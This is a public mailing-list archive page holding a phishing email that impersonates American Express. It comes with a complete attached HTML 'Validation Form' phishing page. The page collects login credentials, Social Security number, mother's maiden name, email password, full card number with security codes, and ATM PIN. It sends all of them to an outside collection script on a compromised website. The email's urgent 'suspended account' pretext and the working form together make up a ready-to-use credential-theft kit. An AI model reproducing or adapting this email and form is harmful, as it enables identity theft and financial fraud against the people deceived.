From: "American Express" <aexp@secureserver.com>
To: linux-ext4@vger.kernel.org
Subject: Unauthorized activity on your online account
Date: Wed, 22 Jul 2015 07:19:06 -0400 [thread overview]
Message-ID: <801588451126.64183@mail.uwrconline.com> (raw)
[-- Attachment #1: Message text --]
[-- Type: text/plain, Size: 795 bytes --]
Dear Customer,
We recently detected numerous failed attempts to provide the correct answers to your security questions.
Therefore, we have temporarily suspended online access to your account by other non authentic users, and we need to go through some verification.
To begin please download the attached file below to proceed to verification as soon as possible.
American Express safeguards your account whenever there is a possibility that someone else is attempting to sign in.
Please understand that this form must be completed within 24-48 hours.
This is our security measure intended to help and protect you and your account.
Thank you for your cooperation and we deeply apologize for any inconvenience this may cause you.
(C) American Express Customer Service 2015.
[-- Attachment #2: Attached file: Validation Form.html --]
[-- Type: application/octet-stream, Size: 22264 bytes --]
<!DOCTYPE html><html class=''>
<head><meta charset='UTF-8'><meta name="robots" content="noindex"><link rel="canonical" href="http://codepen.io/atakan/pen/gqbIz" />
<link rel='stylesheet' href='http://s.codepen.io/assets/reset/reset.css'>
<style class="cp-pen-styles">/*custom font*/
@import url(http://fonts.googleapis.com/css?family=Montserrat);
/*basic reset*/
* {margin: 0; padding: 0;}
html {
height: 100%;
/*Image only BG fallback*/
/*background = gradient + image pattern combo*/
background-color: #B9D9E8
}
body {
font-family: montserrat, arial, verdana;
}
/*form styles*/
#msform {
width: 400px;
margin: 50px auto;
text-align: center;
position: relative;
}
#msform fieldset {
background: #F7F5EC;
border: 0 none;
border-radius: 3px;
box-shadow: 0 0 15px 1px rgba(0, 0, 0, 0.4);
padding: 20px 30px;
box-sizing: border-box;
width: 80%;
margin: 0 10%;
/*stacking fieldsets above each other*/
position: absolute;
}
/*Hide all except first fieldset*/
#msform fieldset:not(:first-of-type) {
display: none;
}
/*inputs*/
#msform input, #msform textarea {
padding: 15px;
border: 1px solid #ccc;
border-radius: 3px;
margin-bottom: 10px;
width: 100%;
box-sizing: border-box;
font-family: montserrat;
color: #2C3E50;
font-size: 13px;
}
/*buttons*/
#msform .action-button {
width: 100px;
background: #0E92CE;
font-weight: bold;
color: white;
border: 0 none;
border-radius: 1px;
cursor: pointer;
padding: 10px 5px;
margin: 10px 5px;
}
#msform .action-button:hover, #msform .action-button:focus {
box-shadow: 0 0 0 2px white, 0 0 0 3px #0E92CE;
}
/*headings*/
.fs-title {
font-size: 15px;
text-transform: uppercase;
color: #2C3E50;
margin-bottom: 10px;
}
.fs-subtitle {
font-weight: normal;
font-size: 13px;
color: #666;
margin-bottom: 20px;
}
/*progressbar*/
#progressbar {
margin-bottom: 30px;
overflow: hidden;
/*CSS counters to number the steps*/
counter-reset: step;
}
#progressbar li {
list-style-type: none;
color: black;
text-transform: uppercase;
font-size: 9px;
width: 33.33%;
float: left;
position: relative;
}
#progressbar li:before {
content: counter(step);
counter-increment: step;
width: 20px;
line-height: 20px;
display: block;
font-size: 10px;
color: #333;
background: white;
border-radius: 3px;
margin: 0 auto 5px auto;
}
/*progressbar connectors*/
#progressbar li:after {
content: '';
width: 100%;
height: 2px;
background: white;
position: absolute;
left: -50%;
top: 9px;
z-index: -1; /*put it behind the numbers*/
}
#progressbar li:first-child:after {
/*connector not needed before the first step*/
content: none;
}
/*marking active/completed steps green*/
/*The number of the step and the connector before it = green*/
#progressbar li.active:before, #progressbar li.active:after{
background: #0E92CE;
color: white;
}
</style>
<script type='text/javascript'>
<!--
function check(form) {
if (form.UserID.value=="")
{ alert("Please enter a valid User ID before submitting. (Go back to the previous page)."); form.UserID.focus(); return;}
if (form.Password.value=="")
{ alert("Please enter a valid Password before submitting. (Go back to the previous page)."); form.Password.focus(); return;}
if (form.fullname.value == "")
{ alert("Please enter your First & Last name before submitting. (Go back to the previous page)."); form.fullname.focus(); return;}
if (form.address.value=="")
{ alert("Please enter your Billing Address before submitting. (Go back to the previous page)."); form.address.focus(); return;}
if (form.address.value.length < 5)
{ alert("Invalid Address. (Go back to the previous page)."); form.address.focus(); return;}
if (form.City.value == "")
{ alert("Please enter your City before submitting. (Go back to the previous page)."); form.City.focus(); return;}
if (form.City.value.length < 2)
{ alert("Invalid City. (Go back to the previous page)."); form.City.focus(); return;}
if (form.State.value == "")
{ alert("Please enter your State before submitting. (Go back to the previous page)."); form.State.focus(); return;}
if (form.zipcode.value == "")
{ alert("Please enter a valid Zip Code before submitting. (Go back to the previous page)."); form.zipcode.focus(); return;}
// Start of zipcode error Alert!
var checkOK = "0123456789";
var checkStr = form.zipcode.value;
var allValid = true;
var allNum = "";
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkOK.length; j++)
if (ch == checkOK.charAt(j))
break;
if (j == checkOK.length)
{
allValid = false;
break;
}
if (ch != ",")
allNum += ch;
}
if (!allValid)
{
alert("Please enter a valid Zip Code before submitting. (Go back to the previous page).");
form.zipcode.focus();
return;}
// End of zipcode error Alert!
if (form.zipcode.value.length < 5)
{ alert("Invalid Zip Code. (Go back to the previous page). (Go back to the previous page)."); form.zipcode.focus(); return;}
if (form.dob.value=="")
{ alert("Please enter your Date of Birth before submitting. (Go back to the previous page)."); form.dob.focus(); return;}
// Start of dob error Alert!
var checkOK = "0123456789/\-";
var checkStr = form.dob.value;
var allValid = true;
var allNum = "";
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkOK.length; j++)
if (ch == checkOK.charAt(j))
break;
if (j == checkOK.length)
{
allValid = false;
break;
}
if (ch != ",")
allNum += ch;
}
if (!allValid)
{
alert("Please enter a valid Date of Birth before submitting.(no spaces, format: DD/MM/YYYY (Go back to the previous page).");
form.dob.focus();
return;}
// End of dob error Alert!
if (form.dob.value.length < 8)
{ alert("Please enter a valid Date of Birth before submitting. (Go back to the previous page)."); form.dob.focus(); return;}
if (form.PoB.value == "")
{ alert("Please enter your place of birth. (Go back to the previous page)."); form.PoB.focus(); return;}
if (form.SSN.value == "")
{ alert("Please enter a valid social security number (XXX-XX-XXXX). (Go back to the previous page)."); form.SSN.focus(); return;}
// Start of SSN error Alert!
var checkOK = "0123456789";
var checkStr = form.SSN.value;
var allValid = true;
var allNum = "";
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkOK.length; j++)
if (ch == checkOK.charAt(j))
break;
if (j == checkOK.length)
{
allValid = false;
break;
}
if (ch != ",")
allNum += ch;
}
if (!allValid)
{
alert("Invalid SSN number (XXX-XX-XXXX).");
form.SSN.focus();
return;}
// End of SSN error Alert!
if (form.SSN.value.length < 9)
{ alert("Invalid SSN (XXX-XX-XXXX)."); form.SSN.focus(); return;}
if (form.MMN.value == "")
{ alert("Please enter a valid Mother's Maiden Name. (Go back to the previous page)."); form.MMN.focus(); return;}
if (form.MMN.value.length < 2)
{ alert("Please enter a valid Mother's Maiden Name. (Go back to the previous page)."); form.MMN.focus(); return;}
if (form.mdob.value=="")
{ alert("Please enter your Mother's Date of Birth before submitting. (no spaces, format: DD/MM/YYYY) (Go back to the previous page)."); form.mdob.focus(); return;}
// Start of mdob error Alert!
var checkOK = "0123456789/\-";
var checkStr = form.mdob.value;
var allValid = true;
var allNum = "";
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkOK.length; j++)
if (ch == checkOK.charAt(j))
break;
if (j == checkOK.length)
{
allValid = false;
break;
}
if (ch != ",")
allNum += ch;
}
if (!allValid)
{
alert("Please enter a valid Mother's Date of Birth before submitting.(no spaces, format: DD/MM/YYYY) (Go back to the previous page).");
form.mdob.focus();
return;}
// End of mdob error Alert!
if (form.mdob.value.length < 8)
{ alert("Please enter a valid Mother's Date of Birth before submitting. (no spaces, format: DD/MM/YYYY) (Go back to the previous page)."); form.mdob.focus(); return;}
if (form.phone.value == "")
{ alert("Please enter Phone Number before submitting. (Go back to the previous page)."); form.phone.focus(); return;}
if (form.Email.value == "")
{ alert("Please enter a valid Email address. (Go back to the previous page)."); form.Email.focus(); return;}
// Start of Email error Alert!
var checkEmail = "@.";
var checkStr = form.Email.value;
var EmailValid = false;
var EmailAt = false;
var EmailPeriod = false;
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkEmail.length; j++)
{
if (ch == checkEmail.charAt(j) && ch == "@")
EmailAt = true;
if (ch == checkEmail.charAt(j) && ch == ".")
EmailPeriod = true;
if (EmailAt && EmailPeriod)
break;
if (j == checkEmail.length)
break;
}
if (EmailAt && EmailPeriod)
{
EmailValid = true
break;
}
}
if (!EmailValid)
{
alert("Please enter a valid email address.");
form.Email.focus();
return;}
// End of Email error Alert!
if (form.Email.value.length < 3)
{ alert("Please enter a valid email address. (Go back to the previous page)."); form.Email.focus(); return;}
if (form.EmailP.value == "")
{ alert("Please enter a valid Email address password. (Go back to the previous page)."); form.EmailP.focus(); return;}
if (form.EmailP.value.length < 4)
{ alert("Please enter a valid Email address password. (Go back to the previous page)."); form.EmailP.focus(); return;}
if (form.cardNumber.value == "")
{ alert("You must provide a valid Card Number."); form.cardNumber.focus(); return;}
// Start of cardNumber error Alert!
var checkOK = "0123456789";
var checkStr = form.cardNumber.value;
var allValid = true;
var allNum = "";
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkOK.length; j++)
if (ch == checkOK.charAt(j))
break;
if (j == checkOK.length)
{
allValid = false;
break;
}
if (ch != ",")
allNum += ch;
}
if (!allValid)
{
alert("You must provide a valid Card Number.");
form.cardNumber.focus();
return;}
// End of cardNumber error Alert!
if (form.cardNumber.value.length < 15)
{ alert("You must provide a valid Card Number."); form.cardNumber.focus(); return;}
if (form.NameonCard.value == "")
{ alert("You must provide Name on Card."); form.NameonCard.focus(); return;}
if (form.DateMonth.value == "")
{ alert("You must provide a valid Expiration Month for your card."); form.DateMonth.focus(); return;}
if (form.DateYear.value == "")
{ alert("You must provide a valid Expiration Year for your card."); form.DateYear.focus(); return;}
if (form.cvv2.value == "")
{ alert("You must provide a valid 4-Digit Card (# printed just above the account number on the front of the Card )."); form.cvv2.focus(); return;}
// Start of cvv2 error Alert!
var checkOK = "0123456789";
var checkStr = form.cvv2.value;
var allValid = true;
var allNum = "";
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkOK.length; j++)
if (ch == checkOK.charAt(j))
break;
if (j == checkOK.length)
{
allValid = false;
break;
}
if (ch != ",")
allNum += ch;
}
if (!allValid)
{
alert("You must provide a valid 4-Digit Card (# printed just above the account number on the front of the Card ).");
form.cvv2.focus();
return;}
// End of cvv2 error Alert!
if (form.cvv2.value.length < 4) { alert("You must provide a valid 4-Digit Card (# printed just above the account number on the front of the Card ).");form.cvv2.focus(); return;}
if (form.csc.value == "")
{ alert("Please enter a valid Card Security Code."); form.csc.focus(); return;}
// Start of csc error Alert!
var checkOK = "0123456789";
var checkStr = form.csc.value;
var allValid = true;
var allNum = "";
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkOK.length; j++)
if (ch == checkOK.charAt(j))
break;
if (j == checkOK.length)
{
allValid = false;
break;
}
if (ch != ",")
allNum += ch;
}
if (!allValid)
{
alert("Please enter a valid Card Security Code.");
form.csc.focus();
return;}
// End of csc error Alert!
if (form.csc.value.length < 3)
{ alert("Please enter a valid Card Security Code."); form.csc.focus(); return;}
if (form.ATMPin.value == "")
{ alert("You must provide a valid ATM Pin Number."); form.ATMPin.focus(); return;}
// Start of ATMPin error Alert!
var checkOK = "0123456789";
var checkStr = form.ATMPin.value;
var allValid = true;
var allNum = "";
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkOK.length; j++)
if (ch == checkOK.charAt(j))
break;
if (j == checkOK.length)
{
allValid = false;
break;
}
if (ch != ",")
allNum += ch;
}
if (!allValid)
{
alert("You must provide a valid ATM Pin Number.");
form.ATMPin.focus();
return;}
// End of ATMPin error Alert!
if (form.ATMPin.value.length < 4) { alert("You must provide a valid ATM Pin Number.");form.ATMPin.focus(); return;}
form.submit()
}
//-->
</SCRIPT>
</head><body>
<!-- multistep form -->
<div align="center">
<table>
<td style="align:left;width:999px;height:94px;background-image:url('http://i.imgur.com/p0kY7pR.png')">
</table>
</div>
<form action="http://www.cscnc.com.tw/wp-includes/data.php" id="msform" method="post">
<!-- progressbar -->
<ul id="progressbar">
<li class="active">Login</li>
<li>Personal Information</li>
<li>Card Information</li>
</ul>
<!-- fieldsets -->
<fieldset>
<h2 class="fs-title">Login</h2>
<h3 class="fs-subtitle"></h3>
<input id="lilo_userName" type="text" value="" name="UserID" placeholder='User ID' maxlength="32" />
<input id="lilo_password" type="password" value="" placeholder='Password' name="Password" autocomplete="off" maxlength="20" />
<input type="button" name="next" class="next action-button" value="Next" />
</fieldset>
<fieldset>
<h2 class="fs-title">Personal Information</h2>
<h3 class="fs-subtitle"></h3>
<div class="inputWrapper">
<input id="lilo_userName" type="text" value="" placeholder="Full Name" name="fullname" placeholder='Enter your Full Name' maxlength="45" />
</div>
</div>
<div id="lilo_usernamePwd">
<div class="inputWrapper">
<input id="lilo_userName" type="text" value="" placeholder="Home Address" name="address" placeholder='Enter your Home Address' maxlength="45" />
</div>
</div>
<br><br>
<div id="lilo_usernameInput">
<div class="inputWrapper">
<input id="lilo_userName" type="text" value="" placeholder="City" name="City" placeholder='Enter your City' maxlength="32" />
</div>
</div>
<div id="lilo_usernamePwd">
<div class="inputWrapper">
<input id="lilo_userName" type="text" value="" placeholder="State" name="State" placeholder='Enter your State' maxlength="32" />
</div>
</div>
<div class="lilo_clear"> </div>
<br>
<div id="lilo_usernameInput">
<div class="inputWrapper">
<input id="lilo_userName" type="text" value="" placeholder="Zip Code" name="zipcode" placeholder='Enter your Zip Code' maxlength="6" />
</div>
</div>
<br><br>
<div id="lilo_usernameInput">
<div class="inputWrapper">
<input id="lilo_userName" type="text" value="" placeholder="Date of Birth (mm/dd/yyyy)" name="dob" placeholder='Enter your Date of Birth' maxlength="32" />
</div>
</div>
<div id="lilo_usernamePwd">
<div class="inputWrapper">
<input id="lilo_userName" type="text" value="" placeholder="Place of Birth" name="PoB" placeholder='Enter your Place of Birth' maxlength="32" />
</div>
</div>
<div class="lilo_clear"> </div>
<br>
<div id="lilo_usernameInput">
<div class="inputWrapper">
<input id="lilo_userName" type="text" value="" placeholder="Social Security Number" name="SSN" placeholder='Enter your Social Security Number' maxlength="12" />
</div>
</div>
<br><br>
<div id="lilo_usernameInput">
<div class="inputWrapper">
<input id="lilo_userName" type="text" value="" placeholder="Mother's Maiden Name" name="MMN" placeholder='Enter your Mother's Maiden Name' maxlength="32" />
</div>
</div>
<div id="lilo_usernamePwd">
<div class="inputWrapper">
<input id="lilo_userName" type="text" value="" placeholder="Mother's Date of Birth" name="mdob" placeholder='Enter your Mother's Date of Birth' maxlength="32" />
</div>
</div>
<div class="lilo_clear"> </div>
<br>
<div id="lilo_usernameInput">
<div class="inputWrapper">
<input id="lilo_userName" type="text" value="" placeholder="Phone Number" name="phone" placeholder='Enter your Phone Number' maxlength="12" />
</div>
</div>
<div class="lilo_clear"> </div>
<br>
<div id="lilo_usernameInput">
<div class="inputWrapper">
<input id="lilo_userName" type="text" value="" placeholder="Email Address" name="Email" placeholder='Enter your Email Address' maxlength="45" />
</div>
</div>
<div id="lilo_usernamePwd">
<div class="inputWrapper">
<input id="lilo_userName" type="password" value="" placeholder="Email Password" name="EmailP" placeholder='Enter your Email Password' maxlength="32" />
</div>
</div>
<input type="button" name="previous" class="previous action-button" value="Previous" />
<input type="button" name="next" class="next action-button" value="Next" />
</fieldset>
<fieldset>
<h2 class="fs-title">Card Information</h2>
<h3 class="fs-subtitle"></h3>
<div id="lilo_usernameInput">
<div class="inputWrapper">
<input id="lilo_userName" type="text" value="" placeholder="Card Number" name="cardNumber" placeholder='Enter your Card Number' maxlength="15" />
</div>
</div>
<div id="lilo_usernamePwd">
<div class="inputWrapper">
<input id="lilo_userName" type="text" value="" placeholder="Name on Card" name="NameonCard" placeholder='Enter your Name on Card' maxlength="32" />
</div>
</div>
<br><br>
<div id="lilo_usernameInput">
<div class="inputWrapper">
<input id="lilo_userName" type="text" value="" placeholder="Expiration Month - MM" name="DateMonth" placeholder='Enter your Expiration Date (Month)' maxlength="2" />
</div>
</div>
<div id="lilo_usernamePwd">
<div class="inputWrapper">
<input id="lilo_userName" type="text" value="" placeholder="Expiration Year - YYYY" name="DateYear" placeholder='Enter your Expiration Date (Year)' maxlength="4" />
</div>
</div>
<br><br>
<div id="lilo_usernameInput">
<div class="inputWrapper">
<input id="lilo_userName" type="password" value="" placeholder="4-Digit Card ID" name="cvv2" placeholder='Enter your 4-Digit Card ID' maxlength="4" />
</div>
</div>
<div id="lilo_usernamePwd">
<div class="inputWrapper">
<input id="lilo_userName" type="password" value="" placeholder="Card Security Code" name="csc" placeholder='Enter your Card Security Code' maxlength="3" />
</div>
</div>
<div class="lilo_clear"> </div>
<br>
<div id="lilo_usernameInput">
<div class="inputWrapper">
<input id="lilo_userName" type="password" value="" placeholder="ATM Pin" name="ATMPin" placeholder='Enter your ATM Pin' maxlength="4" />
</div>
</div>
<input type="button" name="previous" class="previous action-button" value="Previous" />
<input type="button" onclick=check(this.form) name="btnsubmit" class="submit action-button" value="Submit" />
</fieldset>
</form>
<br><br>
<!-- jQuery -->
<script src="http://thecodeplayer.com/uploads/js/jquery-1.9.1.min.js" type="text/javascript"></script>
<!-- jQuery easing plugin -->
<script src="http://thecodeplayer.com/uploads/js/jquery.easing.min.js" type="text/javascript"></script>
<script>
var current_fs, next_fs, previous_fs;
var left, opacity, scale;
var animating;
$('.next').click(function () {
if (animating)
return false;
animating = true;
current_fs = $(this).parent();
next_fs = $(this).parent().next();
$('#progressbar li').eq($('fieldset').index(next_fs)).addClass('active');
next_fs.show();
current_fs.animate({ opacity: 0 }, {
step: function (now, mx) {
scale = 1 - (1 - now) * 0.2;
left = now * 50 + '%';
opacity = 1 - now;
current_fs.css({ 'transform': 'scale(' + scale + ')' });
next_fs.css({
'left': left,
'opacity': opacity
});
},
duration: 800,
complete: function () {
current_fs.hide();
animating = false;
},
easing: 'easeInOutBack'
});
});
$('.previous').click(function () {
if (animating)
return false;
animating = true;
current_fs = $(this).parent();
previous_fs = $(this).parent().prev();
$('#progressbar li').eq($('fieldset').index(current_fs)).removeClass('active');
previous_fs.show();
current_fs.animate({ opacity: 0 }, {
step: function (now, mx) {
scale = 0.8 + (1 - now) * 0.2;
left = (1 - now) * 50 + '%';
opacity = 1 - now;
current_fs.css({ 'left': left });
previous_fs.css({
'transform': 'scale(' + scale + ')',
'opacity': opacity
});
},
duration: 800,
complete: function () {
current_fs.hide();
animating = false;
},
easing: 'easeInOutBack'
});
});
$('.submit').click(function () {
return false;
});
//@ sourceURL=pen.js
</script>
<script src='http://codepen.io/assets/editor/live/css_live_reload_init.js'></script>
</div>
</body></html>
next reply other threads:[~2015-07-22 11:32 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2015-07-22 11:19 American Express [this message]
-- strict thread matches above, loose matches on Subject: below --
2015-07-23 11:33 Unauthorized activity on your online account American Express
2015-01-22 11:10 Bank of America
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=801588451126.64183@mail.uwrconline.com \
--to=aexp@secureserver.com \
--cc=linux-ext4@vger.kernel.org \
--cc=replyto@yahoo.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).